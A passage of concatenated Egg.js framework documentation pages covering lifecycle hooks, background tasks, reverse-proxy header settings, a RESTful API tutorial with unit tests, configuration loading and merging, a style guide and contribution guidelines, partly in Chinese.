    // All plugins have been started, but the application is not yet ready
    // Can do some data initialization and other operations
    // Application will start after these operations executed succcessfully

    // For example: loading data from the database into the in-memory cache
    this.app.cacheData = await this.app.model.query(QUERY_CACHE_SQL);
  }

  async didReady() {
    // Application already ready

    const ctx = await this.app.createAnonymousContext();
    await ctx.service.Biz.request();
  }

  async serverDidReady() {
    // http / https server has started and begins accepting external requests
    // At this point you can get an instance of server from app.server

    this.app.server.on('timeout', (socket) => {
      // handle socket timeout
    });
  }
}

module.exports = AppBootHook;
```

**Note: It is not recommended to do long-time operations in the custom lifecycle function, because the framework has a startup timeout detection.**

If your Egg's life-cycle functions are old, we suggest you upgrading to the "class-method" mode. For more you can refer to [Upgrade your event functions in your lifecycle](../advanced/loader-update.md).

---

---
url: /tutorials/assets.md
---

this document is still waiting for translation, see [Chinese Version](/zh-CN/tutorials/assets)

---

---
url: /zh-CN/basics/backgroundTask.md
---
# BackgroundTask 异步任务

## 使用场景

在业务逻辑执行完毕，请求返回后，框架会将本次请求的上下文信息进行释放，以避免造成内存泄漏。若在请求返回后，仍然需要执行一些日志上报等异步逻辑时，可以使用框架提供的 `backgroundTaskHelper` 工具类来执行异步任务，以主动通知框架不要立即释放上下文信息。

## 使用方式

在需要执行异步任务的地方，注入 `backgroundTaskHelper` 对象，然后调用 `run` 方法执行异步逻辑。

```typescript
import { BackgroundTaskHelper, Inject, SingletonProto } from 'egg';

@SingletonProto()
export class TriggerService {
  @Inject()
  private backgroundTaskHelper: BackgroundTaskHelper;

  @Inject()
  private fooService: any;

  @Inject()
  private barService: any;

  async trigger() {
    this.backgroundTaskHelper.run(async () => {
      // do the background task
      this.fooService.call();
      this.barService.call();
    });
  }
}
```

## 超时时间

框架不会无限的等待异步任务执行，默认情况下，5s 后如果异步任务还没有完成，则会放弃等待，开始执行释放过程。若特殊情况下，确实需要执行长耗时的异步任务，可手动调整超时时间，通过 `backgroundTaskHelper.timeout` 来设置超时时间，单位为毫秒。超时时间为 context 级别设置，若同一个请求中，多次设置超时时间，则以最后一次设置的为准。

```typescript
import { BackgroundTaskHelper, Inject, SingletonProto } from 'egg';

@SingletonProto()
export class TriggerService {
  @Inject()
  private backgroundTaskHelper: BackgroundTaskHelper;

  async trigger() {
    this.backgroundTaskHelper.timeout = 10000;
    this.backgroundTaskHelper.run(async () => {
      // do the background task
    });
  }
}
```

## 其他方案

* 标准应用中，还可以使用 [EventBus](./eventbus) 来实现异步任务的处理。

---

---
url: /basics.md
---

* [Structure](./structure.md)
* [Framework Built-in Objects](./objects.md)
* [Runtime Environment](./env.md)
* [Configuration](./config.md)
* [Middleware](./middleware.md)
* [Router](./router.md)
* [Controller](./controller.md)
* [Service](./service.md)
* [Plugin](./plugin.md)
* [Scheduled Tasks](./schedule.md)
* [Extend EGG](./extend.md)
* [Application Startup Configuration](./app-start.md)

---

---
url: /tutorials/proxy.md
---

Generally, our services will not directly accept external requests, but will deploy the services behind the access layer, thus achieving load balancing of multiple machines and smooth distribution of services to ensure high availability.

In this scenario, we can't directly get the connection to the real user request, so we can't confirm the user's real IP, request protocol, or even the requested host. To solve this problem, the framework provides a set of configuration items by default for developers to configure to enable the application layer to obtain real user request information based on the agreement(de facto) with the access layer.

## Enable Proxy Mode

The proxy mode can be enabled by `config.proxy = true`:

```js
// config/config.default.js

exports.proxy = true;
```

Note that after this mode is enabled, the application defaults to being behind the reverse proxy. It will support the request header of the resolved protocol to obtain the real IP, protocol and host of the client. If your service is not deployed behind a reverse proxy, do not enable this configuration in case a malicious user falsifies information such as requesting IP.

### `config.ipHeaders`

When the proxy configuration is enabled, the app parses the [X-Forwarded-For](https://en.wikipedia.org/wiki/X-Forwarded-For) request header to get the real IP of the client. If your reverse proxy passes this information through other request headers, it can be configured via `config.ipHeaders`, which supports multiple headers (comma separated).

```js
// config/config.default.js

exports.ipHeaders = 'X-Real-Ip, X-Forwarded-For';
```

### `config.maxIpsCount`

The general format of the `X-Forwarded-For` field is:

```
X-Forwarded-For: client, proxy1, proxy2
```

We can use the first IP address as the real IP adderess of the request, but if a malicious user passes the `X-Forwarded-For` header in the request to spoof it after some reverse proxy, it will cause `X-Forwarded-For` to take The value obtained is inaccurate and can be used to spoof the request IP address, breaking some IP restrictions of the application layer.

```
X-Forwarded-For: fake, client, proxy1, proxy2
```

In order to avoid this problem, we can configure the number of reverse proxies through `config.maxIpsCount`, so the fake IP address passed by the user will be ignored. For example, if we deploy the application behind a unified access layer (such as Alibaba Cloud SLB, Amazon ELB), we can configure this configuration to `1` so that users cannot forge IP addresses through the `X-Forwarded-For` request header.

```js
// config/config.default.js

exports.maxIpsCount = 1;
```

This configuration item has the same effect as `options.maxIpsCount` provided by [koa](https://github.com/koajs/koa/blob/master/docs/api/request.md#requestips).

### `config.protocolHeaders`

When the proxy configuration is enabled, the application will parse the \[X-Forwarded-Proto] (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Proto) request header to get the client's Real access protocol. If your reverse proxy passes this information through other request headers, it can be configured via `config.protocolHeaders`, which supports multiple headers (comma separated).

```js
// config/config.default.js

exports.protocolHeaders = 'X-Real-Proto, X-Forwarded-Proto';
```

### `config.hostHeaders`

When the proxy configuration is enabled, the application still reads `host` directly to get the requested domain name. Most of the reverse proxy does not modify this value. But maybe some reverse proxy will pass the client's real access via \[X-Forwarded-Host] (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Host) The domain name can be configured via `config.hostHeaders`, which supports multiple headers (comma separated).

```js
// config/config.default.js

exports.hostHeaders = 'X-Forwarded-Host';
```

---

---
url: /tutorials/restful.md
---

Web frameworks are widely used for providing interfaces to the client through Web services. Let's use an example [CNode Club](https://cnodejs.org/) to show how to build [RESTful](https://en.wikipedia.org/wiki/REST) API using Egg.

CNode currently use v1 interface is not fully consistent with the RESTful semantic. In the article, we will encapsulate a more RESTful semantic V2 API based on CNode V1 interface.

## Response Formatting

Designing a RESTful-style API, we will identify the status of response by the response status code, keeping the response body simply and only the interface data is returned.
A example of `topics` is shown below:

### Get topics list

* `GET /api/v2/topics`
* status code: 200
* response body:

```json
[
  {
    "id": "57ea257b3670ca3f44c5beb6",
    "author_id": "541bf9b9ad60405c1f151a03",
    "tab": "share",
    "content": "content",
    "last_reply_at": "2017-01-11T13:32:25.089Z",
    "good": false,
    "top": true,
    "reply_count": 155,
    "visit_count": 28176,
    "create_at": "2016-09-27T07:53:31.872Z"
  },
  {
    "id": "57ea257b3670ca3f44c5beb6",
    "author_id": "541bf9b9ad60405c1f151a03",
    "tab": "share",
    "content": "content",
    "title": "Finished Rewriting of Let's Learning Node.js Together",
    "last_reply_at": "2017-01-11T10:20:56.496Z",
    "good": false,
    "top": true,
    "reply_count": 193,
    "visit_count": 47633
  }
]
```

### Retrieve One Topic

* `GET /api/v2/topics/57ea257b3670ca3f44c5beb6`
* status code: 200
* response body:

```json
{
  "id": "57ea257b3670ca3f44c5beb6",
  "author_id": "541bf9b9ad60405c1f151a03",
  "tab": "share",
  "content": "content",
  "title": "Finished Rewriting of Let's Learning Node.js Together",
  "last_reply_at": "2017-01-11T10:20:56.496Z",
  "good": false,
  "top": true,
  "reply_count": 193,
  "visit_count": 47633
}
```

### Create Topics

* `POST /api/v2/topics`
* status code: 201
* response body:

```json
{
  "topic_id": "57ea257b3670ca3f44c5beb6"
}
```

### Update Topics

* `PUT /api/v2/topics/57ea257b3670ca3f44c5beb6`
* status code: 204
* response body: null

### Error Handling

When an error is occurring, 4xx status code is returned if occurred by client-side request parameters and 5xx status code is returned if occurred by server-side logic processing. All error objects are used as the description for status exceptions.

For example, passing invalided parameters from the client may return a response with status code 422, the response body as shown below:

```json
{
  "error": "Validation Failed",
  "detail": [
    { "message": "required", "field": "title", "code": "missing_field" }
  ]
}
```

## Getting Started

After interface convention, we begin to create a RESTful API.

### Application Initialization

Initializes the application using `npm` in the [quickstart](../intro/quickstart.md)

```bash
$ mkdir cnode-api && cd cnode-api
$ npm init egg --type=simple
$ npm i
```

### Enable validate plugin

[egg-validate](https://github.com/eggjs/egg-validate) is used to present the validate plugin.

```js
// config/plugin.js
exports.validate = {
  enable: true,
  package: 'egg-validate',
};
```

### Router Registry

First of all, we follower previous design to register [router](../basics/router.md). The framework provides a simply way to create a RESTful-style router and mapping the resources to the corresponding controllers.

```js
// app/router.js
module.exports = (app) => {
  app.router.resources('topics', '/api/v2/topics', app.controller.topics);
};
```

Mapping the 'topics' resource's CRUD interfaces to the `app/controller/topics.js` using `app.resources`

### Developing Controller

In [controller](../basics/controller.md), we only need to implement the interface convention of `app.resources` [RESTful style URL definition](../basics/router.md#RESTful-style-URL-definition). For example, creating a 'topics' interface:

```js
// app/controller/topics.js
const Controller = require('egg').Controller;

// defining the rule of request parameters
const createRule = {
  accesstoken: 'string',
  title: 'string',
  tab: { type: 'enum', values: ['ask', 'share', 'job'], required: false },
  content: 'string',
};

class TopicController extends Controller {
  async create() {
    const ctx = this.ctx;
    // validate the `ctx.request.body` with the expected format
    // status = 422 exception will be thrown if not passing the parameter validation
    ctx.validate(createRule, ctx.request.body);
    // call service to create a topic
    const id = await ctx.service.topics.create(ctx.request.body);
    // configure the response body and status code
    ctx.body = {
      topic_id: id,
    };
    ctx.status = 201;
  }
}
module.exports = TopicController;
```

As shown above, a Controller mainly implements the following logic:

1. call the validate function to validate the request parameters
2. create a topic by calling service encapsulates business logic using the validated parameters
3. configure the status code and context according to the interface convention

### Developing Service

We will more focus on writing effective business logic in [service](../basics/service.md).

```js
// app/service/topics.js
const Service = require('egg').Service;

class TopicService extends Service {
  constructor(ctx) {
    super(ctx);
    this.root = 'https://cnodejs.org/api/v1';
  }

  async create(params) {
    // call CNode V1 API
    const result = await this.ctx.curl(`${this.root}/topics`, {
      method: 'post',
      data: params,
      dataType: 'json',
      contentType: 'json',
    });
    // check whether the call was successful, throws an exception if it fails
    this.checkSuccess(result);
    // return the id of topis
    return result.data.topic_id;
  }

  // Encapsulated a uniform check function, can be reused in query, create, update and such on in service
  checkSuccess(result) {
    if (result.status !== 200) {
      const errorMsg =
        result.data && result.data.error_msg
          ? result.data.error_msg
          : 'unknown error';
      this.ctx.throw(result.status, errorMsg);
    }
    if (!result.data.success) {
      // remote response error
      this.ctx.throw(500, 'remote response error', { data: result.data });
    }
  }
}

module.exports = TopicService;
```

After developing the Service of topic creation, an interface have been completed from top to bottom.

### Unified Error Handling

Normal business logic has been completed, but exceptions have not yet been processed. Controller and Service may throw an exception as the previous coding, so it is recommended that throwing an exception to interrupt if passing invalided parameters from the client or calling the back-end service with exception.

* use Controller `this.ctx.validate()` to validate the parameters, throw exception if it fails.
* call Service `this.ctx.curl()` to access CNode API, may throw server exception due to network problems.
* an exception also will be thrown after Service is getting the response of calling failure from CNode API.

Default error handling is provided but might be inconsistent as the interface convention previously. We need to implement a unified error-handling middleware to handle the errors.

Create a file `error_handler.js` under `app/middleware` directory to create a new [middleware](../basics/middleware.md)

```js
// app/middleware/error_handler.js
module.exports = () => {
  return async function errorHandler(ctx, next) {
    try {
      await next();
    } catch (err) {
      // All exceptions will trigger an error event on the app and the error log will be recorded
      ctx.app.emit('error', err, ctx);

      const status = err.status || 500;
      // error 500 not returning to client when in the production environment because it may contain sensitive information
      const error =
        status === 500 && ctx.app.config.env === 'prod'
          ? 'Internal Server Error'
          : err.message;

      // Reading from the properties of error object and set it to the response
      ctx.body = { error };
      if (status === 422) {
        ctx.body.detail = err.errors;
      }
      ctx.status = status;
    }
  };
};
```

We can catch all exceptions and follow the expected format to encapsulate the response through the middleware. It can be loaded into application using configuration file (`config/config.default.js`)

```js
// config/config.default.js
module.exports = {
  // load the errorHandler middleware
  middleware: ['errorHandler'],
  // only takes effect on URL prefix with '/api'
  errorHandler: {
    match: '/api',
  },
};
```

## Testing

Completing the coding just the first step, furthermore we need to add [Unit Test](../core/unittest.md) to the code.

### Controller Testing

Let's start writing the unit test for the Controller. We can simulate the implementation of the Service layer in an appropriate way because the most important part is to test the logic as for Controller. And mocking up the Service layer according the convention of interface, so we can develop layered testing because the Service layer itself can also covered by Service unit test.

```js
const { app, mock, assert } = require('egg-mock/bootstrap');

describe('test/app/controller/topics.test.js', () => {
  // test the response of passing the error parameters
  it('should POST /api/v2/topics/ 422', () => {
    app.mockCsrf();
    return app
      .httpRequest()
      .post('/api/v2/topics')
      .send({
        accesstoken: '123',
      })
      .expect(422)
      .expect({
        error: 'Validation Failed',
        detail: [
          { message: 'required', field: 'title', code: 'missing_field' },
          { message: 'required', field: 'content', code: 'missing_field' },
        ],
      });
  });

  // mock up the service layer and test the response of normal request
  it('should POST /api/v2/topics/ 201', () => {
    app.mockCsrf();
    app.mockService('topics', 'create', 123);
    return app
      .httpRequest()
      .post('/api/v2/topics')
      .send({
        accesstoken: '123',
        title: 'title',
        content: 'hello',
      })
      .expect(201)
      .expect({
        topic_id: 123,
      });
  });
});
```

As the Controller testing above, we create an application using [egg-mock](https://github.com/eggjs/egg-mock) and simulate the client to send request through [SuperTest](https://github.com/visionmedia/supertest). In the testing, we also simulate the response from Service layer to test the processing logic of Controller layer

### Service Testing

Unit Test of Service layer may focus on the coding logic. [egg-mock](https://github.com/eggjs/egg-mock) provides a quick method to test the Service by calling the test method in the Service, and SuperTest to simulate the client request is no longer needed.

```js
const { app, mock, assert } = require('egg-mock/bootstrap');

describe('test/app/service/topics.test.js', () => {
  let ctx;

  beforeEach(() => {
    // create a global context object so that can call the service function on a ctx object
    ctx = app.mockContext();
  });

  describe('create()', () => {
    it('should create failed by accesstoken error', async () => {
      try {
        // calling service method on ctx directly
        await ctx.service.topics.create({
          accesstoken: 'hello',
          title: 'title',
          content: 'content',
        });
      } catch (err) {
        assert(err.status === 401);
        assert(err.message === 'error accessToken');
      }
      throw 'should not run here';
    });

    it('should create success', async () => {
      // not affect the normal operation of CNode by simulating the interface calling of CNode based on interface convention
      // app.mockHttpclient method can easily simulate the appliation's HTTP request
      app.mockHttpclient(`${ctx.service.topics.root}/topics`, 'POST', {
        data: {
          success: true,
          topic_id: '5433d5e4e737cbe96dcef312',
        },
      });

      const id = await ctx.service.topics.create({
        accesstoken: 'hello',
        title: 'title',
        content: 'content',
      });
      assert(id === '5433d5e4e737cbe96dcef312');
    });
  });
});
```

In the testing of Service layer above, we create a Context object using the `app.createContext()` which provided by egg-mock and call the Service method on Context object to test directly. It can use `app.mockHttpclient()` to simulate the response of calling HTTP request, which allows us to focus on the logic testing of Service layer without the impact of environment.

***

See the full example at [eggjs/examples/cnode-api](https://github.com/eggjs/examples/tree/master/cnode-api).

---

---
url: /community/style-guide.md
---

Developers are advised to use `npm init egg --type=simple showcase` to generate and observe the recommended project structure and configuration.

## Classify

Old Style:

```js
module.exports = (app) => {
  class UserService extends app.Service {
    async list() {
      return await this.ctx.curl('https://eggjs.org');
    }
  }
  return UserService;
};
```

change to:

```js
const Service = require('egg').Service;
class UserService extends Service {
  async list() {
    return await this.ctx.curl('https://eggjs.org');
  }
}
module.exports = UserService;
```

Additionally, the `framework developer` needs to change the syntax as follows, otherwise the `application developer` will have problems customizing base classes such as Service:

```js
const egg = require('egg');

module.exports = Object.assign(egg, {
  Application: class MyApplication extends egg.Application {
    // ...
  },
  // ...
});
```

## Private Properties & Lazy Initialization

* Private properties are mounted with `Symbol`.
* The description of Symbol follows the rules of jsdoc, describing the mapped class name + attribute name.
* Delayed initialization.

```js
// app/extend/application.js
const CACHE = Symbol('Application#cache');
const CacheManager = require('../../lib/cache_manager');

module.exports = {
  get cache() {
    if (!this[CACHE]) {
      this[CACHE] = new CacheManager(this);
    }
    return this[CACHE];
  },
};
```

---

---
url: /faq.md
---
# Common Errors

* [TEGG\_EGG\_PROTO\_NOT\_FOUND](TEGG_EGG_PROTO_NOT_FOUND.md)
* [TEGG\_ROUTER\_CONFLICT](TEGG_ROUTER_CONFLICT.md)

---

---
url: /community.md
---
# Community

## Resources

* Frameworks
  * [aliyun-egg](https://github.com/eggjs/aliyun-egg)
* Tools
  * [vscode plugin - eggjs](https://marketplace.visualstudio.com/items?itemName=atian25.eggjs)
  * [vscode plugin - eggjs-dev-tools](https://marketplace.visualstudio.com/items?itemName=yuzukwok.eggjs-dev-tools)
* Others
  * [awesome-egg](https://github.com/eggjs/awesome-egg)
* Articles
  * [How to evaluate Ali's open source enterprise-level Node.js framework Egg?](https://www.zhihu.com/question/50526101/answer/144952130) By [@day pig](https://github.com/atian25)
  * You can also read our article at [Kuroshiami column](https://www.zhihu.com/column/eggjs)

## Sponsors and Backers

[![sponsors](https://opencollective.com/eggjs/tiers/sponsors.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)
[![backers](https://opencollective.com/eggjs/tiers/backers.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)

## Contributors

[![contributors](https://contrib.rocks/image?repo=eggjs/egg\&max=240\&columns=26)](https://github.com/eggjs/egg/graphs/contributors)

---

---
url: /zh-CN/basics/config.md
---
# Config 配置

框架提供了强大且可扩展的配置功能，可以自动合并应用、插件、框架的配置，按顺序覆盖，且可以根据环境维护不同的配置。合并后的配置可直接从 `app.config` 获取。

配置的管理有多种方案，以下列举一些常见的方案：

1. 使用平台管理配置，应用构建时将当前环境的配置放入包内，启动时指定该配置。但应用就无法一次构建多次部署，而且本地开发环境想使用配置会变得很麻烦。
2. 使用平台管理配置，在启动时将当前环境的配置通过环境变量传入，这是比较优雅的方式，但框架对运维的要求会比较高，需要部署平台支持，同时开发环境也有相同的痛点。
3. 使用代码管理配置，在代码中添加多个环境的配置，在启动时传入当前环境的参数即可。但无法全局配置，必须修改代码。

我们选择了最后一种配置方案，**配置即代码**，配置的变更也应该经过审核后才能发布。应用包本身是可以部署在多个环境的，只需要指定运行环境即可。

### 多环境配置

框架支持根据环境来加载配置，定义多个环境的配置文件，具体环境请查看[运行环境配置](./env.md)。

```
config
|- config.default.js
|- config.prod.js
|- config.unittest.js
`- config.local.js
```

`config.default.js` 为默认的配置文件，所有环境都会加载这个配置文件，一般也会作为开发环境的默认配置文件。

当指定 `env` 时，会同时加载默认配置和对应的配置（具名配置）文件。具名配置和默认配置将合并（使用 [extend2](https://www.npmjs.com/package/extend2) 深拷贝）成最终配置，具名配置项会覆盖默认配置文件的同名配置。例如，`prod` 环境会加载 `config.prod.js` 和 `config.default.js` 文件，`config.prod.js` 会覆盖 `config.default.js` 的同名配置。

### 配置写法

配置文件返回的是一个对象，可以覆盖框架的一些配置，应用也可以将自己业务的配置放到这里方便管理。

```js
// 配置 logger 文件的目录，logger 默认配置由框架提供
module.exports = {
  logger: {
    dir: '/home/admin/logs/demoapp',
  },
};
```

配置文件也可以简化地写成 `exports.key = value` 形式：

```js
exports.keys = 'my-cookie-secret-key';
exports.logger = {
  level: 'DEBUG',
};
```

配置文件也可以返回一个函数，该函数可以接受 `appInfo` 参数：

```js
// 将 logger 目录放到代码目录下
const path = require('path');
module.exports = (appInfo) => {
  return {
    logger: {
      dir: path.join(appInfo.baseDir, 'logs'),
    },
  };
};
```

内置的 `appInfo` 属性包括：

| appInfo | 说明                                                                       |
| ------- | -------------------------------------------------------------------------- |
| pkg     | `package.json` 文件                                                        |
| name    | 应用名称，同 `pkg.name`                                                    |
| baseDir | 应用代码的目录                                                             |
| HOME    | 用户目录，如 admin 账户为 `/home/admin`                                    |
| root    | 应用根目录，在 `local` 和 `unittest` 环境下为 `baseDir`，其他都为 `HOME`。 |

`appInfo.root` 是一个优雅的适配方案。例如，在服务器环境我们通常使用 `/home/admin/logs` 作为日志目录，而在本地开发时为了避免污染用户目录，我们需要一种优雅的适配方案，`appInfo.root` 正好解决了这个问题。

请根据具体场合选择合适的写法。但请确保没有完成以下代码：

```js
// 配置文件 config/config.default.js
exports.someKeys = 'abc';
module.exports = (appInfo) => {
  const config = {};
  config.keys = '123456';
  return config;
};
```

### 配置加载顺序

应用、插件、框架都可以定义这些配置，且目录结构都是一致的，但存在优先级（应用 > 框架 > 插件），相对于此运行环境的优先级会更高。

比如在 prod 环境中加载一个配置的加载顺序如下，后加载的会覆盖前面的同名配置。

```
-> 插件 config.default.js
-> 框架 config.default.js
-> 应用 config.default.js
-> 插件 config.prod.js
-> 框架 config.prod.js
-> 应用 config.prod.js
```

**注意**：插件之间也会有加载顺序，但大致顺序类似。具体逻辑可[查看加载器](../advanced/loader.md)。

### 合并规则

配置的合并使用 `extend2` 模块进行深度拷贝，`extend2` 来源于 `extend`，但是在处理数组时的表现会有所不同。

```js
const a = {
  arr: [1, 2],
};
const b = {
  arr: [3],
};
extend(true, a, b);
// => { arr: [ 3 ] }
```

根据上面的例子，框架直接覆盖数组而不是进行合并。

### 配置结果

框架在启动时会把合并后的最终配置输出到 `run/application_config.json`（worker 进程）和 `run/agent_config.json`（agent 进程）中，以供问题分析。

配置文件中会隐藏以下两类字段：

1. 安全字段，如密码、密钥等。这些字段通过 `config.dump.ignore` 属性进行配置，其类型必须是 [Set]。可参见[默认配置](https://github.com/eggjs/egg/blob/master/config/config.default.js)。
2. 非字符串化字段，如函数、Buffer 等。这些字段在 `JSON.stringify` 后所生成的内容容量很大。

此外，框架还会生成 `run/application_config_meta.json`（worker 进程）和 `run/agent_config_meta.json`（agent 进程）文件。这些文件用于排查配置属性的来源，例如：

```json
{
  "logger": {
    "dir": "/path/to/config/config.default.js"
  }
}
```

[Set]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set

[extend]: https://github.com/justmoon/node-extend

[extend2]: https://github.com/eggjs/extend2

---

---
url: /basics/config.md
---

This framework provides powerful and extensible configuration function, including automatically merging applications, plugins, and framework's configuration. In addition, it allows users to overwrite configuration in sequence and maintain different configs depending on different environments. The result (i.e. merged config) can be accessed from `app.config `.

Here are some common control tactics:

1. Using platform to manage configurations: while building a new application, you can put the current environment configuration into package and trigger the configuration as long as you run this application. But this certain application won't be able to build several deployments at once, and you will get into trouble whenever you want to use the configuration in localhost.
2. Using platform to manage configurations: you can pass the current environment configuration via environment variables while starting. This is a relatively elegant approach with higher requirement on operation and support from configuration platform. Moreover, The configuration environment has same flaws as first method.
3. Using code to manage configurations: you can add some environment configurations in codes and pass them to current environment arguments while starting. However, it doesn't allow you to configure globally and you need to alter your code whenever you want to change the configuration.

we choose the last strategy, namely **configure with code**, The change of configuration should be also released after reviewing. The application package itself is capable to be deployed in several environments, only need to specify the running environment.

### Multiple Environment Configuration

This framework supports loading configuration according to the environment and defining configuration files of multiple environments. For more details, please check [env](../basics/env.md).

```
config
|- config.default.js
|- config.prod.js
|- config.unittest.js
|- config.local.js
```

`config.default.js` is the default file for configuration, and all environments will load this file. Besides, this is usually used as default configuration file for development environment.

The corresponding configuration file(named configuration) will be loaded simultaneously when you set up env. The named configuration and the default configuration will combine(use [extend2](https://www.npmjs.com/package/extend2) deep clone) into a configuration eventually. And the same name will be overwritten. For example, `prod` environment will load `config.prod.js` and `config.default.js`. As a result, `config.prod.js` will overwrite the configuration with identical name in `config.default.js`.

### How to Write Configuration

The configuration file returns an object which could overwrite some configurations in the framework. Application can put its own business configuration into it for convenient management.

```js
// configure the catalog of logger，the default configuration of logger is provided by framework
module.exports = {
  logger: {
    dir: '/home/admin/logs/demoapp',
  },
};
```

The configuration file can simplify to `exports.key = value` format

```js
exports.keys = 'my-cookie-secret-key';
exports.logger = {
  level: 'DEBUG',
};
```

The configuration file can also return a function which could receive a parameter called `appInfo`

```js
// put the catalog of logger to the catalog of codes
const path = require('path');
module.exports = (appInfo) => {
  return {
    logger: {
      dir: path.join(appInfo.baseDir, 'logs'),
    },
  };
};
```

The build-in appInfo contains:

| appInfo | elaboration                                                                                                   |
| ------- | ------------------------------------------------------------------------------------------------------------- |
| pkg     | package.json                                                                                                  |
| name    | Application name, same as pkg.name                                                                            |
| baseDir | The directory of codes                                                                                        |
| HOME    | User directory, e.g, the account of admin is /home/admin                                                      |
| root    | The application root directory, if the environment is local or unittest, it is baseDir. Otherwise, it is HOME |

`appInfo.root` is an elegant adaption. for example, we tend to use `/home/admin/logs` as the catalog of log in the server environment, while we don't want to pollute the user catalog in local development. This adaptation is very good at solving this problem.

Choose the appropriate style according to the specific situation, but please make sure you don't make mistake like the code below:

```js
// config/config.default.js
exports.someKeys = 'abc';
module.exports = (appInfo) => {
  const config = {};
  config.keys = '123456';
  return config;
};
```

### Sequence of Loading Configurations

Applications, plugin components and framework are able to define those configs. Even though the structure of catalog is identical but there is priority (application > framework > plugin). Besides, the running environment has the higher priority.

Here is one sequence of loading configurations under "prod" environment, in which the following configuration will overwrite the previous configuration with the same name.

```
-> plugin config.default.js
-> framework config.default.js
-> application config.default.js
-> plugin config.prod.js
-> framework config.prod.js
-> application config.prod.js
```

**Note: there will be plugin loading sequence, but the approximate order is similar. For specific logic, please check the [loader](../advanced/loader.md) .**

### Rules of Merging

Configs are merged using deep copy from \[extend2] module, which is forked from \[extend] and process array in a different way.

```js
const a = {
  arr: [1, 2],
};
const b = {
  arr: [3],
};
extend(true, a, b);
// => { arr: [ 3 ] }
```

As demonstrated above, the framework will overwrite arrays instead of merging them.

### Configuration Result

The final merged config will be dumped to `run/application_config.json`(for worker process) and `run/agent_config.json`(for agent process) when the framework started, which can help analyzing problems.

Some fields are hidden in the config file, mainly including 2 types:

* like passwords, secret keys and other security related fields which can be configured in `config.dump.ignore` and only [Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) type is accepted. See [Default Configs](https://github.com/eggjs/egg/blob/master/config/config.default.js)
* like Function, Buffer, etc. whose content converted by `JSON.stringify` will be specially large.

`run/application_config_meta.json` (for worker process）and `run/agent_config_meta.json` (for agent process) will also be dumped in order to check which file defines the property, see below

```json
{
  "logger": {
    "dir": "/path/to/config/config.default.js"
  }
}
```

---

---
url: /community/CONTRIBUTING.md
---

If you have any comment or advice, please report your [issue](https://github.com/eggjs/egg/issues),
or make any change as you wish and submit a [PR](https://github.com/eggjs/egg/pulls).

## Reporting New Issues

* Please specify what kind of issue it is.
* Before you report an issue, please search for related issues. Make sure you are not going to open a duplicate issue.
* Explain your purpose clearly in tags(see **Useful Tags**), title, or content.

Egg group members will confirm the purpose of the issue, replace more accurate tags for it, identify related milestone, and assign developers working on it.
Tags can be divided into two groups, `type` and `scope`.

* type: What kind of issue, e.g. `feature`, `bug`, `documentation`, `performance`, `support` ...
* scope: What did you modified. Which files are modified, e.g. `core: xx`, `plugin: xx`, `deps: xx`

### Useful Tags

* `support`: the issue asks helps from developers of our group. If you need helps to locate and handle problems or have any idea to improve Egg, mark it as `support`.
* `bug`: if you find a problem which possiblly could be a bug, please tag it as `bug`. Then our group members will review that issue. If it is confirmed as a bug by our group member, this issue will be tagged as `confirmed`.
  * A confirmed bug will be resolved prior.
  * If the bug has negative impact on running online application, it will be tagged as `critical`, which refers to top priority, and will be fixed ASAP!
  * A bug will be fixed from lowest necessary version, e.g. A bug needs to be fixed from 0.9.x, then this issue will be tagged as `0.9`, `0.10`, `1.0`, `1.1`, referring that the bug is required to be fixed in those versions.
* `core: xx`: the issue is related to core, e.g. `core: loader` refers that the issue is related with `loader` config.
* `plugin: xx`: the issue is related to plugins. e.g. `plugin: session` refers that the issue is related to `session` plugin.
* `deps: xx`: the issue is related to `dependencies`, e.g. `deps:egg-cors` refers that the issue is related to `egg-cors`
* `chore: documentation`: the issue is about documentation. Need to modify documentation.

## Documentation

All features must be submitted along with documentations. The documentations should satify several requirements.

* Documentations must clarify one or more aspects of the feature, depending on the nature of feature: what it is, why it happens and how it works.
* It's better to include a series of procedues to explain how to fix the problem. You are also encourgaed to provide **simple, but self-explanatory** demo.
  All demos should be compiled at [eggjs/examples](https://github.com/eggjs/examples) repository.
* Please provide essential urls, such as application process, terminology explainations and references.

## Submitting Code

### Pull Request Guide

If you are developer of egg repo and you are willing to contribute, feel free to create a new branch, finish your modification and submit a PR. Egg group will review your work and merge it to master branch.

```bash
# Create a new branch for development. The name of branch should be semantic, avoiding words like 'update' or 'tmp'. We suggest to use feature/xxx, if the modification is about to implement a new feature.
$ git checkout -b branch-name

# Run the test after you finish your modification. Add new test cases or change old ones if you feel necessary
$ npm test

# If your modification pass the tests, congradulations it's time to push your work back to us. Notice that the commit message should be wirtten in the following format.
$ git add . # git add -u to delete files
$ git commit -m "fix(role): role.use must xxx"
$ git push origin branch-name
```

Then you can create a Pull Request at [egg](https://github.com/eggjs/egg/pulls)

No one can garantee how much will be remembered about certain PR after some time. To make sure we can easily recap what happened previously, please provide the following information in your PR.

1. Need: What function you want to achieve (Generally, please point out which issue is related).
2. Updating Reason: Different with issue. Briefly describe your reason and logic about why you need to make such modification.
3. Related Testing: Briefly descirbe what part of testing is relevant to your modification.
4. User Tips: Notice for Egg users. You can skip this part, if the PR is not about update in API or potential compatibility problem.

### Style Guide

Eslint can help to identify styling issues that may exist in your code. Your code is required to pass the test from eslint. Run the test locally by `$ npm run lint`.

### Commit Message Format

You are encouraged to use [angular commit-message-format](https://github.com/angular/angular.js/blob/master/DEVELOPERS.md#-git-commit-guidelines) to write commit message. In this way, we could have a more trackable history and an automatically generated changelog.

```xml
<type>(<scope>): <subject>
<BLANK LINE>
<body>
<BLANK LINE>
<footer>
```

（1）type

Must be one of the following:

* feat: A new feature
* fix: A bug fix
* docs: Documentation-only changes
* style: Changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc)
* refactor: A code change that neither fixes a bug nor adds a feature
* perf: A code change that improves performance
* test: Adding missing tests
* chore: Changes to the build process or auxiliary tools and libraries such as documentation generation
* deps: Updates about dependencies

（2）scope

The scope could be anything specifying place of the commit change. For example $location, $browser, $compile, $rootScope, ngHref, ngClick, ngView, etc...

（3）subject

Use succinct words to describe what did you do in the commit change.

（4）body

